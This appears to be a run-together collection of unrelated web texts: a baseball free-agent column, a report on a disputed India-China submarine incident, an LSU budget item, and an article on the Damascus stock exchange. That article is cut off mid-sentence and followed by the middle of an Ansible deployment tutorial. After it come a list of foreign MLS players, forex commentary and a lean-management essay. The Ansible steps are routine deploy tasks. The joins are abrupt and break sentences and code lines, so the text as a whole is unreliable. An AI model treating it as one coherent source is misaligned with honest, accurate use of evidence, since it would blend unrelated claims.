The White Sox are in full rebuild mode. Signing Andre Ethier to a one-year, incentive-laden deal doesn't change that. If Ethier could stay healthy and produce -- and it seems unlikely, given he has played in 38 games the past two seasons -- then he could make for an interesting trade piece. If not the White Sox can hand over the keys to Nicky Delmonico again and have him prove last season wasn't a fluke.
Cincinnati Reds
Why should a team that has lost 90 games in three consecutive seasons fork over money for a reliever who has had one good season? Because we needed someone for this exercise. Plus: 1. The Reds like their high-leverage relievers comfortable with multiple innings; and 2. Anthony Swarzak's market is uncertain -- is any team going to give him money or term based on one year?
Cleveland Indians
Yeah, a retention. Carlos Santana fits the Indians well; he doesn't fit many other teams well. Also, while better players have (and will continue) to change teams, it would be weird to see Santana in any other uniform.
Colorado Rockies
Another one. The Rockies were willing to take a chance on Greg Holland last offseason. This go around, they give him a multiyear deal to remain in town and in the closer's role.
Detroit Tigers
The Tigers are rebuilding and that means that maybe this doesn't matter, but their roster is right-handed heavy. Adding the lefty Jon Jay would give them an ideal most-days starter who can slot in across the outfield. Maybe the Tigers would prefer to give JaCoby Jones and/or Mikie Mahtook everyday reps instead. That's understandable. If not, that's understandable, too.
Houston Astros
What do you get the team that has everything, including a World Series title? How about a left-handed reliever to slot into the late innings? Mike Minor might just get a richer contract from another team -- possibly to close. But the Astros have every reason to look for one more late-inning arm this winter, and he would be a nice fit alongside Chris Devenski and Ken Giles.
Kansas City Royals
We're giving the Royals Logan Morrison because they need an Eric Hosmer replacement and because Morrison has said it would be a dream come true to play for Kansas City (he grew up in MIssouri). We would like to see that dream come true, just as much as the Royals would like to see Morrison hit another 38 home runs in 2018. Everyone's a romantic.
Los Angeles Angels
With Mike Moustakas heading to Atlanta, it only makes sense for us to give the Angels the rights to Todd Frazier. Frazier is older and doesn't have the championship pedigree that Moustakas has. He is, however, a productive hitter -- one who would give the Angels yet another right-handed power threat to go along with Mike Trout, Justin Upton and Albert Pujols.
Los Angeles Dodgers
Largely self-explanatory. The Dodgers still need Yu Darvish for the same reasons they needed him in July. What happened in the World Series doesn't much alter things.
Miami Marlins
Of the Florida teams, the Rays seem more likely to sign Michael Pineda to a one-year deal with a club option for the second -- in part because they've done this style of deal with pitchers recovering from Tommy John surgery, and in part because the Marlins have been talking about slashing payroll. If the Marlins want a potential bargain deal, however, then following suit and giving Pineda some money now in exchange for innings later would be a creative fix.
Milwaukee Brewers
This is boring, and ideally the Brewers would get a little more risque this winter. But Walker would continue to fill a need at the keystone, and his consistency is admirable if not appreciated.
Minnesota Twins
We're giving the Twins veteran right-hander Lance Lynn because they figure to sign one of the second- or third-tier starting pitchers and he's a solid enough choice for any and every team seeking another arm. That "Twin" and "Lynn" rhymes is just a bonus for whenever he's referenced next season.
New York Mets
Jarrod Dyson is far from an exciting name, but he serves a purpose on the Mets. He would give New York a true center-field option (likely bumping Juan Lagares back to the bench), as well as more speed on a roster that already features Amed Rosario. Dyson has his flaws, and ideally he wouldn't start most days. He should come cheap though, and that's always a plus for the Mets.
New York Yankees
Fancy this a trade deadline do-over. Lucas Duda could slot in at DH for the Yankees against right-handed pitching, and would give the Yanks a backup plan at first in case Greg Bird gets hurt. Duda's own durability woes should reduce his cost, too, making him a potential value get.
Oakland Athletics
The Athletics reportedly want a right-handed hitting outfielder, and have their sights set on the Marlins in trade talks. Suppose the A's come up short in landing Marcell Ozuna. What then? How about Carlos Gomez, who saved his career with a solid stint in Texas. Gomez isn't the All-Star he was in Milwaukee, but he can still be an average or better everyday center fielder, and he'll probably come on a short and relatively light contract.
Philadelphia Phillies
This pick is less about Wade Miley the pitcher and more about Wade Miley the idea. The Phillies have recently shown an eagerness to pounce on downtrodden vet starters with the hopes of turning their careers around. It sort of worked with Jeremy Hellickson; it didn't have the chance to work with Clay Buchholz or Charlie Morton. Miley might or might not be deemed worthy of the effort. The Phillies will probably find some free-agent starter who they think is worth it, however.
Pittsburgh Pirates
Think of this as the reliever version of the Miley comment above. The Pirates could decide to give Wily Peralta a look-see in their bullpen, hoping that pitching coach Ray Searage can tweak this or that and tap into previously unfulfilled upside. They could also decide that Peralta isn't the right one for the gamble, and that it's someone else entirely. The point is the outfit, not the mannequin.
San Diego Padres
The Padres need a shortstop and could stand to spend some money next season, given they're currently on the hook for about $24 million in guaranteed money. Zack Cozart is the best six-holer on the market. It's not likely, it's not probable, but it would make sense in a timeline where the Padres are trying to be respectable and Cozart is willing to put money ahead of all other concerns.
San Francisco Giants
The Giants want an upgrade in center field. Lorenzo Cain wants a big payday. Why make it complicated?
Seattle Mariners
Jerry Dipoto can't feel too confident about his rotation heading into next season. As such, even with five potential starters locked in, he'd be wise to shop for an insurance policy. Hence Jhoulys Chacin, who has quietly managed a 97 ERA+ over his last 351 innings. He should come cheap.
St. Louis Cardinals
Presuming the Cardinals come up short on a Giancarlo Stanton trade, it would make a lot of sense for them to turn around and ante up for J.D. Martinez. Which is more likely? Check back in two months.
Tampa Bay Rays
The Rays supposedly want to continue to lean on their bullpen for more innings. Yusmeiro Petit is an obvious fit then because he has ample experience in a multi-inning relief role: just this year he threw 91 ⅓ innings in 60 appearances (just one start).
Texas Rangers
Jake Arrieta is a good pitcher and he attended both high school and college in Texas. That makes him a solid fit for the Rangers, who need to replace Yu Darvish at the front of their rotation.
Toronto Blue Jays
Tyler Chatwood is an increasingly hot name in analytics circles due to his improved velocity and the spin rate of his curveball. The Blue Jays could decide to move a starter or two this winter. If so, Chatwood would slot right in as an upside play.
Washington Nationals
Okay, so George Saunders isn't going to write a novel about a Rene Rivera signing. But hear us out: the Nationals need another catcher, and Rivera is a quality backup with some pop in his bat. Beyond that, he knows new skipper Davey Martinez from their shared time in Chicago. It never hurts to give a rookie manager a familiar face behind the plate that he can count upon.The Indian navy says none of its submarines surfaced in the area Indian naval officials have denied media reports that Chinese warships forced an Indian submarine to surface in a stand-off in waters off Somalia. Reports in China said that after the submarine was detected by sonar, it was pursued by two Chinese destroyers and an anti-submarine helicopter. The Chinese ships had been on passage to take part in anti-piracy patrols. The two sides were reportedly trying to test each other's sonar systems for weaknesses. However, the Indian navy says none of its submarines was forced to surface in the area. "None of our submarines surfaced in the Gulf of Aden region as reported in a section of the Chinese media," a naval official told Indian reporters. Several Indian newspapers reported the allegations, and cited Indian naval sources as admitting their submarine had tracked the Chinese warships. "Every nation does it," one was quoted as saying. Chinese submarines surprised the US navy in October 2006, by successfully tracking the USS Kitty Hawk in the Pacific Ocean. Stand-off? Several versions of one report on the incident were circulating on Chinese websites this week, including Sina.com and QQ. These claimed that a tense stand-off occurred between Chinese warships and an Indian submarine on 15 January near the Bab Al-Mandab Strait, which separates Yemen and Djibouti, at the western end of the Gulf of Aden. The Chinese destroyers had picked up an unidentified submarine on their sonar, the reports said. The Chinese navy soon identified it as a 70m-long (230ft) vessel armed with 20 torpedoes. The Chinese reports said the Chinese ships had sent an anti-submarine helicopter to help track the submarine, which had tried to jam the Chinese warships' sonar system. But the two destroyers eventually cornered the submarine and forced it to surface, reports said. The Indian vessel then apparently left without further confrontation. Chinese media said the submarine had been trailing the Chinese ships since they had entered the Indian Ocean on the way to Somalia. But India has denied the reports, which have also not been carried by China's official news outlets, Xinhua and the China Daily. There were more than 100 pirate attacks in 2008 in the Gulf of Aden and Indian Ocean, in what is one of the world's busiest shipping lanes. An EU anti-piracy task force set up in December was the first such naval operation of its kind. India, Iran, the US and China are among other nations with naval forces off Somalia.
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LSU President F. King Alexander announced Wednesday that staff is drawing up paperwork for financial exigency, a move that paves the way for Louisiana’s flagship university to begin the loathsome task of laying off tenured professors, shuttering academic programs and making other painful cost-cutting moves.According to nola.com, King made the announcement after it has become apparent this week that state lawmakers are having little luck in finding solutions to Louisiana’s $1.6 billion budget shortfall.As LSU journalism professor, blogger and Times-Picayune columnist Robert Mann writes on his blog, Something Like the Truth:
LSU President F. King Alexander’s stunning announcement Wednesday that he’s drawing up official bankruptcy papers for the school is just one step short of naming the colleges and departments that he will close if the Legislature does not raise the funds to close the $1.6 billion budget shortfall for the coming fiscal year.
Unless Gov. Bobby Jindal and legislators come up with a budget solution very soon, you can cancel just about every ongoing faculty search at LSU and watch as the exodus of faculty accelerates.
Students, especially incoming freshmen who have offers from out-of-state colleges, will start bailing out, too, as it increasingly appears there could be no fall semester at the state’s flagship university.
King’s stunning announcement comes as Moody’s Investors Service announced it has lowered LSU’s credit outlook from positive to stable.
Read more here.Last year was the Damascus Securities Exchange's busiest on record
The majority of shares traded on the exchange are in foreign-owned banks
Those banks are grossly overvalued by "financial engineering"
Increased activity could suggest improved confidence in the Syrian economy
But it could also suggest Syrian investors' lack of alternatives
Forces loyal to the Assad regime have made considerable gains in recent months. On the surface this appears to be reflected on the Syrian stock exchange – but all is not as it seems. Photo: Wikimedia Commons
By Jack Davies
Despite enduring more than half a decade of conflict leaving an estimated 400,000 dead and 11.4 million displaced, Syria retains an active stock market.
Established as part of a programme of economic reforms, the Damascus Securities Exchange opened its doors in 2009, two years before the onset of the crisis.
Not only does the market continue to function despite the conflict, if data published daily on the exchange’s website is to be believed, last year was its most active on record in terms of volume of trades and 2017 looks set to be busier still.
Source: Damascus Securities Exchange (2017 data only reflects the first month and half of trading, of course.)
Create your own charts with SaxoTrader; click here to learn more. Source: Damascus Securities Exchange (2017 data only reflects the first month and half of trading, of course.)
While under ordinary circumstances, such data might be interpreted as suggesting renewed confidence in the economy; the circumstances in Syria are far from ordinary and analysts say activity on the exchange are largely the product of a fiction.
“Measured in the number of shares traded, the volume may be up but their value is down significantly, even when denoted in Syrian pounds,” Dr Reinoud Leenders of Lebanon and Syria Research Group tells TradingFloor by email. “Market capitalisation may seem to be on the rise but this hardly reflects real economic terms due to very high inflation and the steep fall in the exchange value of the Syrian pound.”
The Syrian pound has fallen dramatically since the start of the conflict. In 2010, you would have needed just shy of £50 to buy $1; today you would need more than £500 to get your hands on $1.
Subdued activity
Additionally, Leenders points out, there are only about half a dozen stocks that are actively traded on the exchange. Almost all of them are subsidiaries of foreign banks.
Rashad al-Kattan is a graduate of Damascus University. Now based in the UK, he works as a risk analyst and holds a fellowship at St Andrews University’s Centre for Syrian Study. Having previously worked for Lebanese-owned banks in Syria, the bulk of his academic research focuses on his homeland’s banking sector and stock exchange.
“If you look at the indices, banks are the most traded,” says al-Kattan. “I would be surprised if those |
timestamp.stdout }}'" - set_fact : " shared_path='/home/{{ deploy_user }}/www/{{ application }}/shared'" - set_fact : " current_path='/home/{{ deploy_user }}/www/{{ application }}/current'" - set_fact : migrate={{ migrate|bool }} when : migrate is defined - set_fact : migrate=false when : migrate is not defined - set_fact : branch=master when : branch is not defined and cluster_env!= 'production' - set_fact : branch=production when : cluster_env == 'production' - set_fact : keep_releases={{ keep_releases|int }} when : keep_releases is defined - set_fact : keep_releases={{ 6|int }} when : keep_releases is not defined - name :'capture previous git sha' run_once : true register : deploy_previous_git_sha shell : > cd {{ current_path }} && git rev-parse HEAD ignore_errors : true
You can see that we do a few things:
generate the release timestamp on server to use on all of them
save the paths release_path, shared_path and current_path, just like Capistrano
, and, just like Capistrano handle default values for the migrate, branch, and keep_releases options
,, and options learn the git SHA of the previous release
git.yml
- name : update source git repo shell : " git fetch && git reset --hard origin/master" sudo : yes sudo_user :'{{ deploy_user }}' args : chdir : " {{ shared_path }}/cached-copy" when : " '{{application}}' in group_names" - name : Create release directory file : " state=directory owner='{{ deploy_user }}' path='{{ release_path }}'" sudo : yes sudo_user :'{{ deploy_user }}' when : " '{{application}}' in group_names" - name : copy the cached git copy shell : " cp -r {{ shared_path }}/cached-copy/. {{ release_path }}" sudo : yes sudo_user :'{{ deploy_user }}' when : " '{{application}}' in group_names" - name : git checkout shell : " git checkout {{ branch }}" sudo : yes sudo_user :'{{ deploy_user }}' args : chdir : " {{ release_path }}" when : " '{{application}}' in group_names"
This section ensure that we git-pull the latest code into the cached-copy, copy it into the new release_directory, and then checkout the proper branch
- name : ensure directories file : " path={{ release_path }}/{{ item }} state=directory" sudo : yes sudo_user :'{{ deploy_user }}' when : " '{{application}}' in group_names" with_items : - tmp - public - name : symlinks shell : " rm -rf {{ item.dest }} && ln -s {{ item.src }} {{ item.dest }}" sudo : yes sudo_user :'{{ deploy_user }}' when : " '{{application}}' in group_names" with_items : - { src :'{{ shared_path }}/log', dest :'{{ release_path }}/log' } - { src :'{{ shared_path }}/pids', dest :'{{ release_path }}/tmp/pids' } - { src :'{{ shared_path }}/pids', dest :'{{ release_path }}/pids' } #Note: Double symlink for node apps - { src :'{{ shared_path }}/sockets', dest :'{{ release_path }}/tmp/sockets' } - { src :'{{ shared_path }}/assets', dest :'{{ release_path }}/public/assets' } - { src :'{{ shared_path }}/system', dest :'{{ release_path }}/public/system' }
This creates symlinks from each deployed release back to shared. This enables us to save logs, pids, etc between deploys.
config.yml
- name : list shared config files shell : " ls -1 {{ shared_path }}/config" register : remote_configs when : " '{{application}}' in group_names" - name : symlink configs shell : " rm -f {{ release_path }}/config/{{ item }} && ln -s {{ shared_path }}/config/{{ item }} {{ release_path }}/config/{{ item }} " with_items : remote_configs.stdout_lines sudo : yes sudo_user :'{{ deploy_user }}' when : " '{{application}}' in group_names"
Here we source every file in app/shared/config/* and symlink it into app/release/config/*
bundle.yml
- stat : path={{ release_path }}/Gemfile register : deploy_gemfile_exists - name : bundle install sudo : yes sudo_user :'{{ deploy_user }}' args : chdir : " {{ release_path }}" shell : > bundle install --gemfile {{ release_path }}/Gemfile --path {{ shared_path }}/bundle --without development test --deployment --quiet when : " '{{application}}' in group_names and deploy_gemfile_exists.stat.exists"
If there is a Gemfile in this project, we bundle install
pre_tasks.yml
- name : deployment pre tasks (all hosts) sudo : yes sudo_user :'{{ deploy_user }}' shell : > cd {{ release_path }} && RAILS_ENV={{ rails_env }} RACK_ENV={{ rails_env }} NODE_ENV={{ rails_env }} {{ item.cmd }} run_once : false when : > ('{{application}}' in group_names) and ({{ item.run_once | default(false) }} == false) and ({{ item.control | default(true) }}!= false) with_items : " application_configs[application].pre_deploy_tasks" - name : deployment pre tasks (single hosts) sudo : yes sudo_user :'{{ deploy_user }}' shell : > cd {{ release_path }} && RAILS_ENV={{ rails_env }} RACK_ENV={{ rails_env }} NODE_ENV={{ rails_env }} {{ item.cmd }} run_once : true when : > ('{{application}}' in group_names) and ({{ item.run_once | default(false) }} == true) and ({{ item.control | default(true) }}!= false) with_items : " application_configs[application].pre_deploy_tasks"
In the application_configs part of our variable file, we defined a collection of tasks to run as part of the deploy. Here is where asset compilation would be run, etc. Note how when you define the task, we have the attributes "run_once" and "control", IE: { cmd: "bundle exec rake db:migrate", run_once: true, control: migrate }. This means that the migration task should only be run on one host, and that it should only be run when the playbook is run with the flags --extra-vars='migrate=true'. This is how simple it is to build complex Capistrano-like roles.
reboot.yml
- name : Update current Symlink sudo : yes sudo_user :'{{ deploy_user }}' file : " state=link path={{ current_path }} src={{ release_path }}" notify : - deploy restart unicorn - deploy restart resque when : " '{{application}}' in group_names" - meta : flush_handlers
Now that all of our pre-tasks have been run, it’s time to actually change the deploy symlink and “restart” our applications. This simple role just changes the symlink, but the notifications are fairly involved. Some of your servers (Unicorn) may be able to gracefully restart with a simple signal, while others (like resque workers) need to fully stop and start to accept new code. Ansible makes it easy to build notification handlers that fit your needs:
handlers/main.yml
## UNICORN ## - name : " deploy restart unicorn" when : " 'unicorn' in application_configs[application].roles and '{{application}}:unicorn' in group_names" ignore_errors : yes shell : " kill -s USR2 `cat {{ current_path }}/tmp/pids/unicorn.pid`" sudo : yes sudo_user :'{{ deploy_user }}' notify : - ensure monit monitoring unicorn - name : ensure monit monitoring unicorn monit : name : unicorn-{{ application }} state : monitored sudo : yes ## RESQUE ## - name : deploy restart resque ignore_errors : yes shell : " kill -s QUIT `cat {{ current_path }}/tmp/pids/resque-resque-{{ item.0.name }}-{{ item.1.name }}.pid`" with_subelements : - resque_workers - workers when : " '{{ item.0.name }}:resque' in group_names and item.0.name == application" notify : ensure monit monitoring resque sudo : yes - name : ensure monit monitoring resque monit : name : " resque-{{ item.0.name }}-{{ item.1.name}}" state : monitored with_subelements : - resque_workers - workers when : " '{{ item.0.name }}:resque' in group_names and item.0.name == application" notify : reload monit sudo : yes
You can see here that we chain notification handlers here to both restart the application and then ensure that our process monitor, monit, is configured to watch that application.
post_tasks.yml
- name : deployment post tasks (all hosts) sudo : yes sudo_user :'{{ deploy_user }}' shell : > cd {{ release_path }} && RAILS_ENV={{ rails_env }} RACK_ENV={{ rails_env }} NODE_ENV={{ rails_env }} {{ item.cmd }} run_once : false when : > ('{{application}}' in group_names) and ({{ item.run_once | default(false) }} == false) and ({{ item.control | default(true) }}!= false) with_items : " application_configs[application].post_deploy_tasks" - name : deployment post tasks (single hosts) sudo : yes sudo_user :'{{ deploy_user }}' shell : > cd {{ release_path }} && RAILS_ENV={{ rails_env }} RACK_ENV={{ rails_env }} NODE_ENV={{ rails_env }} {{ item.cmd }} run_once : true when : > ('{{application}}' in group_names) and ({{ item.run_once | default(false) }} == true) and ({{ item.control | default(true) }}!= false) with_items : " application_configs[application].post_deploy_tasks"
post_tasks are just like pre_tasks, and allow you to run code after the servers have been restarted. Here is where you might clear caches, update CDNs, etc.
email.yml
Now the fun kicks in. Ansible makes it easy to keep adding more to your playbooks. We wanted to send the development team an email (and also notify hipchat in a similar role) every time a deploy goes out. Here’s a sample:
Here’s how to grab the variables you need:
- name :'capture: sha' run_once : true register : deploy_email_git_sha shell : > cd {{ release_path }} && git rev-parse HEAD - name :'capture: deployer_email' run_once : true register : deploy_email_deployer_email shell : > cd {{ release_path }} && git log -1 --pretty="%ce" - name :'capture: branch' run_once : true register : deploy_email_branch shell : > cd {{ release_path }} && git rev-parse --abbrev-ref HEAD - name :'capture: commit message' run_once : true register : deploy_email_commit_message shell : > cd {{ release_path }} && git log -1 --pretty="%s" - set_fact : previous_revision='n/a' when : previous_revision is defined - name :'capture: previous commits' run_once : true register : deploy_email_previous_commits when : deploy_previous_git_sha is defined and ( deploy_previous_git_sha.stdout_lines | length > 0 ) shell : > cd {{ release_path }} && git log {{ deploy_previous_git_sha.stdout_lines[0] }}..{{ deploy_email_git_sha.stdout_lines[0] }} --pretty=format:%h:%s --graph - name :'capture: human date' run_once : true register : deploy_email_human_date shell : date - name : build the deploy email body run_once : true local_action : template args : src : deploy_email.html.j2 dest : /tmp/deploy_email.html - name : send the deploy email run_once : true when : no_email is not defined or no_email == false local_action : shell sendmail {{ deploy_email_to }} < /tmp/deploy_email.html
and our email template is:
From: {{ deploy_email_deployer_email.stdout_lines[0] }} Subject: Deployment: {{ application }} [ {{ cluster_env }} ] Content-Type: text/html MIME-Version: 1.0 <h1> <a href= "https://github.com/{{ application_git_url_team }}/{{ application }}" > {{ application }} </a> was deployed to {{ cluster_env }} by {{ deploy_email_deployer_email.stdout_lines[0] }} at {{ deploy_email_human_date.stdout_lines[0] }} </h1> <h2> The {{ deploy_email_branch.stdout_lines[0] }} branch was deployed to {{ vars.play_hosts | count }} hosts </h2> <p> The latest commit is: <a href= "https://github.com/{{ application_git_url_team }}/{{ application }}/commit/{{ deploy_email_git_sha.stdout_lines[0] }}" > {{ deploy_email_commit_message.stdout_lines[0] }} </a> </p> <strong> Hosts: </strong> <ul> {% for host in vars.play_hosts %} <li> {{ host }} </li> {% endfor %} </ul> {% if deploy_email_previous_commits is defined and deploy_previous_git_sha.stdout_lines | length > 0 %} <strong> New on these servers since the last deploy: </strong> <br /> {% for line in deploy_email_previous_commits.stdout_lines %} {{ line }} <br /> {% endfor %} {% endif %}
And that’s how you build Capistrano within Ansible! You can see how simple it is to translate a complex tool into a few hundred lines of Ansible… with very clear responsibilities and separation. It’s also very easy to extend this to fit your workflow.This is a list of foreign players in Major League Soccer. The following players:
Have played at least one MLS regular season game. Players who were signed by MLS clubs, but only played in playoff games, U.S. Open Cup games, or did not play in any competitive games at all, are not included. Are considered foreign, i.e., outside Canada or the United States determined by the following:
A player is considered foreign if he is not eligible to play for the national team of Canada or the United States.
More specifically,
If a player has been capped on international level, the national team is used; if he has been capped by more than one country, the highest level (or the most recent) team is used. These include American and Canadian players with dual citizenship.
If a player has not been capped on international level, his country of birth is used, except those who were born abroad from American or Canadian parents, or moved to Canada or the United States at a young age, and those who clearly indicated to have switched his nationality to another nation.
Up to now, 117 different nations have been represented in MLS. South Korea is the most recent nation to be represented with Kim Kee-hee playing for Seattle Sounders on 18 March 2018 at Dallas FC.
In bold: players who have played at least one MLS game in the current season (2018 Major League Soccer season), and are still at the clubs for which they have played. This does not include current players of a MLS club who have not played a MLS game in the current season.
Africa (CAF) [ edit ]
Algeria [ edit ]
Angola [ edit ]
Benin [ edit ]
Botswana [ edit ]
Cameroon [ edit ]
Cape Verde [ edit ]
DR Congo [ edit ]
Egypt [ edit ]
Eritrea [ edit ]
Ethiopia [ edit ]
Gambia [ edit ]
Ghana [ edit ]
Guinea [ edit ]
Ivory Coast [ edit ]
Kenya [ edit ]
Liberia [ edit ]
Libya [ edit ]
Mali [ edit ]
Morocco [ edit ]
Mozambique [ edit ]
Nigeria [ edit ]
Senegal [ edit ]
Sierra Leone [ edit ]
South Africa [ edit ]
Tanzania [ edit ]
Togo [ edit ]
Uganda [ edit ]
Zimbabwe [ edit ]
Asia (AFC) [ edit ]
Australia [ edit ]
China [ edit ]
Guam [ edit ]
Iran [ edit ]
Iraq [ edit ]
Japan [ edit ]
Korea Republic [ edit ]
Lebanon [ edit ]
Northern Mariana Islands [ edit ]
Palestine [ edit ]
Philippines [ edit ]
Syria [ edit ]
Thailand [ edit ]
Europe (UEFA) [ edit ]
Albania [ edit ]
Armenia [ edit ]
Austria [ edit ]
Belarus [ edit ]
Belgium [ edit ]
Bosnia and Herzegovina [ edit ]
Bulgaria [ edit ]
Croatia [ edit ]
Czech Republic [ edit ]
Denmark [ edit ]
England [ edit ]
Estonia [ edit ]
Finland [ edit ]
France [ edit ]
Georgia [ edit ]
Germany [ edit ]
Greece [ edit ]
Hungary [ edit ]
Iceland [ edit ]
Israel [ edit ]
Italy [ edit ]
Latvia [ edit ]
Liechtenstein [ edit ]
Lithuania [ edit ]
Luxembourg [ edit ]
Malta [ edit ]
Montenegro [ edit ]
Netherlands [ edit ]
Northern Ireland [ edit ]
Norway [ edit ]
Poland [ edit ]
Portugal [ edit ]
Republic of Ireland [ edit ]
Romania [ edit ]
Russia [ edit ]
Scotland [ edit ]
Serbia [ edit ]
Slovakia [ edit ]
Slovenia [ edit ]
Spain [ edit ]
Sweden [ edit ]
Switzerland [ edit ]
Turkey [ edit ]
Ukraine [ edit ]
Wales [ edit ]
North and Central America, Caribbean (CONCACAF) [ edit ]
Belize [ edit ]
Bermuda [ edit ]
Costa Rica [ edit ]
Cuba [ edit ]
Curaçao [ edit ]
El Salvador [ edit ]
Grenada [ edit ]
Guadeloupe [ edit ]
Guatemala [ edit ]
Guyana [ edit ]
Haiti [ edit ]
Honduras [ edit ]
Jamaica [ edit ]
Martinique [ edit ]
Mexico [ edit ]
Panama [ edit ]
Puerto Rico [ edit ]
Saint Kitts and Nevis [ edit ]
Saint Vincent and the Grenadines [ edit ]
Trinidad and Tobago [ edit ]
Turks and Caicos Islands [ edit ]
South America (CONMEBOL) [ edit ]
Argentina [ edit ]
Bolivia [ edit ]
Brazil [ edit ]
Chile [ edit ]
Colombia [ edit ]
Ecuador [ edit ]
Paraguay [ edit ]
Peru [ edit ]
Uruguay [ edit ]
Venezuela [ edit ]
Oceania (OFC) [ edit ]
New Zealand [ edit ]
Notes [ edit ]This week could be ‘the’ watershed for the USD for this quarter! If nothing else, politically may be an eye opener for many of us. With Japan on holidays today, it has given us a slow start, definitely a false one, as the rest of this week is jam-packed with ingredients for some ‘excitement’! There is an interesting FOMC meeting. Will they or won’t they present some sort of exit strategy? There is the German IFO and German elections, followed closely by the G20 meetings in Pittsburgh. If nothing else, some of these events will break the monotony that we have been trading over the past week!
The US$ is stronger in the O/N trading session. Currently it is higher against 15 of the 16 most actively traded currencies in a ‘whippy’ trading range.
There was nothing to guide the USD on Friday apart from suspicion and innuendo. It’s done rather well after printing yearly lows vs. most of the G10 countries. Perhaps US assets are turning the corner slightly and becoming more in ‘vogue’. That would not be a surprise, technically we have been very pedestrian and one directional that requires some sort of retracement. However, fundamentally we could be doing the exact opposite. Perhaps these ‘elevated’ levels are giving us an opportunity to unwind or establish our dislike for the anything USD denominated at the moment!
The USD$ is currently higher against the EUR -0.38%, GBP -0.46%, CHF -0.41% and JPY -0.80%. The commodity currencies are weaker this morning, CAD -0.50% and AUD -0.56%. After printing an 11-month high last week as both global equities and commodities pushed the currency to dominate its southern neighbor, it has neatly pared some of its strength ahead of the FOMC meeting this week. Investor have been speculating that the global recession is ‘over’ which boosted the appetite for higher-yielding assets including commodity-linked currencies like the CAD and AUD. Is it sustainable was the question that had pushed the greenback to new yearly lows last week. Rumors were rife that the BOC was checking rates and gave the illusion that they would enter the fray. It was exactly that, just rumors. Do not expect them to waddle in ‘Willy-nilly’! Year to-date the loonie has appreciated +15% vs. its southern trading partner, last year it depreciated -18%! Dealers continue to play the range and will take their cue from commodities and equities.
With global equities and commodities coming under pressure, higher yielding assets were bound to come under threat. After printing New Year highs early last week, the AUD managed to fall for a 3rd-day amid speculation the Fed will this week signal plans to withdraw stimulus measures, boosting the appeal of US assets (0.8615).
Crude is lower in the O/N session ($71.02 down -102c). Crude oil fell for a 2nd-consecutive day on Friday as the dollar strengthened vs. the EUR, paring investors’ demand for dollar-priced assets to hedge against inflation. Last week’s EIA report supported higher crude prices. US oil stockpiles fell much more than expected as imports continued to decrease while inventories of refined fuels increased. Crude inventories fell by -4.7m barrels w/w to +332.8m, beating analysts’ forecasts of a drop of -2.4m. Imports fell -192k barrels per day. It’s worth noting that refiners cut crude runs by -56k bpd as refinery utilization was off -0.3% to 86.9% of capacity. The market was anticipating a -0.5% fall. Inventories of distillates fuels (heating oil and diesel) were up +2.2m barrels at +167.8m, vs. forecasts for a rise of only +1.3m. On the flip side, gas supplies increased +500k barrels to +207.7m, w/w. The data would have included the Labor Day holiday, which historically marks the end of the US summer driving season. Surprisingly, the API report painted a slightly different picture. Crude stocks gained +631k barrels last week as refiners slowed run rates by -146k bpd. Inventories of distillates rose +5.2m barrels and gas inventories were up by +1.3m barrels. Stronger US fundamental and Governor Bernanke’s belief that worst of the recession is over will provide further support on pull backs in the short term. Last week, we were subjected to the ‘weak’ dollar boosting the appeal of commodities to investors as an inflation hedge, perhaps this week we will see the greenback rebound!
Gold has fallen in the O/N session, which is threatening rally that has sent prices above $1,000 an ounce this month, as a rebound by the greenback is curbing demand for the yellow metal as a hedge against inflation ($1,002). Follow the USD that will validate current metal prices. The market does feel slightly squeezed at these elevated levels!
The Nikkei closed at 10,370 down -73 (holiday). The DAX index in Europe was at 5,656 down -48; the FTSE (UK) currently is 5,143 down -30. The early call for the open of key US indices is lower. The 10-year bonds backed up 7bp on Friday (3.46%) and are little changed in the O/N session. Treasury prices managed to record their 1st-weekly loss in 6-weeks as dealers pared some of their position ahead of this weeks $112b US government bond auctions and the Fed meeting. The US will sell $43b in 2’s, $40b in 5’s and $29b in 7-years. I wonder if we will see Chinese demand again, it was rumored that they scooped the last LB auction!
This article is for general information purposes only. It is not investment advice or a solution to buy or sell securities. Opinions are the authors; not necessarily that of OANDA Corporation or any of its affiliates, subsidiaries, officers or directors. Leveraged trading is high risk and not suitable for all. You could lose all of your deposited funds.FEATURE – Lean is a people-centric system for learning that acts as an alternative to traditional management and financial capitalism. It represents the best strategy a company can adopt to meet the needs of the future.
Words: Daniel T Jones, Chairman, Lean Enterprise Academy
Thirty years ago, Jim Womack and I uncovered a very different management system in Toyota. We called it “lean” to contrast it with the mass-production systems we saw in America and Europe. What struck us was its superior performance in designing and building cars and, more recently, its superior ability to scale up innovative new technologies – like hybrid and hydrogen-fueled cars – faster than the competition.
But what really inspired us and many others to study lean in more detail ever since is the fact that it is a truly people-centric system that engages the creativity of all employees, rather than treating them as commodities to be replaced as quickly as possible by low-cost labor or robots.
For us students of this game-changing way of managing began a long and eventful journey to understand what enables a lean system to deliver such superior results. At first, we focused on the tools that can be used to improve the work and create processes that flow; then we learned about a series of management techniques, such as daily management, hoshin planning and A3 problem solving. Over time, we have also seen how this set of tools and techniques work in all kinds of activities and industries, not just in car manufacturing.
What became apparent, however, is that simply implementing the tools – or blindly trying to copy Toyota – misses the point completely, and quickly runs into the sand. That’s why Jim Womack and I called our 1996 book Lean Thinking: our aim was to frame lean as an alternative way of managing, showing why there is more to it than just boards and 5s. Indeed, lean success depends on how these tools are used and on how we learn to change the way we think about working together through using them. A Toyota sensei (teacher) is not interested in the results of an A3 problem solving report, but in what was learned from going through this exercise.
Reusable learning from a succession of problem solving exercises builds the cumulative capabilities that enable teams to address tougher problems together in the future. Lean is all about acting our way to a new way of thinking – which in turn leads to a new way of acting. This is the basis of the dynamic gains that create the superior performance we see in truly lean organizations, and their ability to learn and respond more quickly to new opportunities and changing circumstances. Lean is, above all, a system for learning.
As our Lean Community developed, it also became very clear that active leadership from the top is essential for the success of any lean initiative. Seeing lean as another method for cutting costs in operations also misses the point and, as an approach, it rarely lasts. So, what is the journey leaders need to embark on to focus everyone on the key challenges facing their organizations, to support the learning and capability building to meet them, and to translate this learning into bottom-line results? Clearly, it is more than just problem solving.
Who better to answer this question than pioneering lean CEOs who have gone through several lean initiatives before realizing they needed to actively lead lean themselves to achieve results like Toyota? Art Byrne tells us how he did this in The Lean Turnaround, and the CEOs my co-authors (Michael Ballé, Jacques Chaize and Orry Fiume) and I have worked with do the same in The Lean Strategy.
Indeed, these leaders had to unlearn many of the things they were taught in business school and face up to the many obstacles of traditional management thinking, which include:
